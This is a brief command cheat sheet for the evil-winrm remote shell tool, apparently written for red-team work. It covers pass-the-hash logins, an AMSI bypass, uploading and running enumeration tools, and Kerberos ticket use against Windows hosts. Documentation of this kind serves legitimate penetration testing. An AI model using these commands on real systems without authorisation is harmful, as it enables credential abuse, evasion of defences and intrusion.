evil-winrm
Interactive WinRM shell — the standard for Windows remote access in red team ops.
Quick Start
# Connect with password
evil-winrm -i 192.168.1.10 -u administrator -p Password123
# Pass-the-hash (NTLM)
evil-winrm -i 192.168.1.10 -u administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117
# With SSL (port 5986)
evil-winrm -i 192.168.1.10 -u admin -p Password123 -S
Core Flags
| Flag | Description |
|------|-------------|
| -i <ip> | Target IP/hostname |
| -u <user> | Username |
| -p <pass> | Password |
| -H <hash> | NTLM hash (LM:NT or NT only) |
| -P <port> | WinRM port (default 5985) |
| -S | Use SSL (port 5986) |
| -c <cert> | Client certificate for auth |
| -r <realm> | Kerberos realm |
| -s <path> | Path to PowerShell scripts to load |
| -e <path> | Path to executables (for upload) |
| -l <path> | Log output to file |
| --no-colors | Disable colors |
Shell Commands
Once connected, use built-in evil-winrm commands:
| Command | Description |
|---------|-------------|
| upload <local> [remote] | Upload file to target |
| download <remote> [local] | Download file from target |
| menu | Show available functions |
| Invoke-Binary <path> | Execute binary from upload path |
| Bypass-4MSI | AMSI bypass (built-in) |
| services | List running services |
| exit | Close session |
Common Workflows
# Basic session
evil-winrm -i 10.10.10.10 -u admin -p "Password123"
# Pass-the-hash after extracting hashes
evil-winrm -i 10.10.10.10 -u administrator -H "8846f7eaee8fb117ad06bdd830b7586c"
# Upload a tool and execute
evil-winrm -i 10.10.10.10 -u admin -p pass -e /opt/tools/
# Inside shell:
# upload /opt/tools/winpeas.exe
# ./winpeas.exe
# Load custom PS scripts
evil-winrm -i 10.10.10.10 -u admin -p pass -s /opt/scripts/
# Inside shell:
# PowerView.ps1
# Get-NetDomain
# Kerberos auth (with valid ticket)
export KRB5CCNAME=/tmp/admin.ccache
evil-winrm -i dc.domain.local -r DOMAIN.LOCAL -u admin
